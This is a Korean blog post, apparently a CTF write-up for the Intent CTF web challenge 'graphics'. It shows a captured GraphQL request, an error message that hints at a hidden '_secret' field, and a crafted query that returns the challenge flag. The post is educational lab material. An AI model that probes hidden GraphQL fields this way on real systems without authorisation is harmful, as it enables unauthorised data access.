당신의 문제는 무엇입니까?
당신의 "소중한" CTF에서 내 아름답고 혁신적인 페이지를 어떻게 승인하지 않았습니까?
모든 작업이 완료되었습니다. 아마도 나는 그래픽을 추가할 수 있을 것입니다.

 

해당 URL에 접속할 경우 다음과 같이 강의 시간표 같은 항목을 확인할 수 있습니다.

그 외에는 별다른 내용이 없기에 웹 프록시툴을 사용하여 패킷을 잡아 확인해 보았습니다.

 

POST /api/v1/ HTTP/2
Host: graphics.chal.intentsummit.org
Cookie: intent-ctf-session=2a914d13fe5006489d427bf984179053
Content-Length: 149
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://graphics.chal.intentsummit.org
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://graphics.chal.intentsummit.org/
Accept-Encoding: gzip, deflate
Accept-Language: he-IL,he;q=0.9,en-US;q=0.8,en;q=0.7

{"operationName":"ExampleQuery","variables":{},"query":"query ExampleQuery {\n  talks {\n    time\n    title\n    speaker\n    __typename\n  }\n}\n"}

몇번의 검색을 통해 밑에 있는 구문이 GQL이라는 것을 알아냈고 이문제는 GQL을 이용하는 문제임을 알게 되었습니다.

 

 

{"errors":[{"message":"Cannot query field \"secret\" on type \"Query\". Did you mean \"_secret\"?","extensions":{"code":"GRAPHQL_VALIDATION_FAILED","exception":{"stacktrace":["GraphQLError: Cannot query field \"secret\" on type \"Query\". Did you mean \"_secret\"?","    at Object.Field (/usr/src/app/node_modules/graphql/validation/rules/FieldsOnCorrectTypeRule.js:48:31)","    at Object.enter (/usr/src/app/node_modules/graphql/language/visitor.js:323:29)","    at Object.enter (/usr/src/app/node_modules/graphql/utilities/TypeInfo.js:370:25)","    at visit (/usr/src/app/node_modules/graphql/language/visitor.js:243:26)","    at validate (/usr/src/app/node_modules/graphql/validation/validate.js:69:24)","    at validate (/usr/src/app/node_modules/apollo-server/node_modules/apollo-server-core/dist/requestPipeline.js:185:39)","    at processGraphQLRequest (/usr/src/app/node_modules/apollo-server/node_modules/apollo-server-core/dist/requestPipeline.js:90:34)","    at processTicksAndRejections (node:internal/process/task_queues:96:5)","    at async processHTTPRequest (/usr/src/app/node_modules/apollo-server/node_modules/apollo-server-core/dist/runHttpQuery.js:187:30)"]}}}]}

query injection을 시도한 결과 'secret'이 의심스러워 보입니다.

 

 

{"operationName":"ExampleQuery","variables":{},"query":"query ExampleQuery { _secret { flag } }\n"}

이를 이용하여 쿼리를 재구성 해 보았습니다.

 

그 결과 INTENT{d1d_y0u_m34n_flag}를 획득할 수 있었습니다.

 

GraphQL에 대한 자세한 내용은 https://ravidusash.tistory.com/148 이곳에서 다루도록 하겠습니다.

'Challenge > CTF' 카테고리의 다른 글

[DefCamp CTF 21-22] para-code  (0) 2022.02.15
[DefCamp CTF 21-22] web-intro  (0) 2022.02.15
[Intent CTF] Etulosba  (0) 2021.11.25
[Intent CTF] Careers  (0) 2021.11.22
[Intent CTF] Door (un)Locked  (0) 2021.11.22

+ Recent posts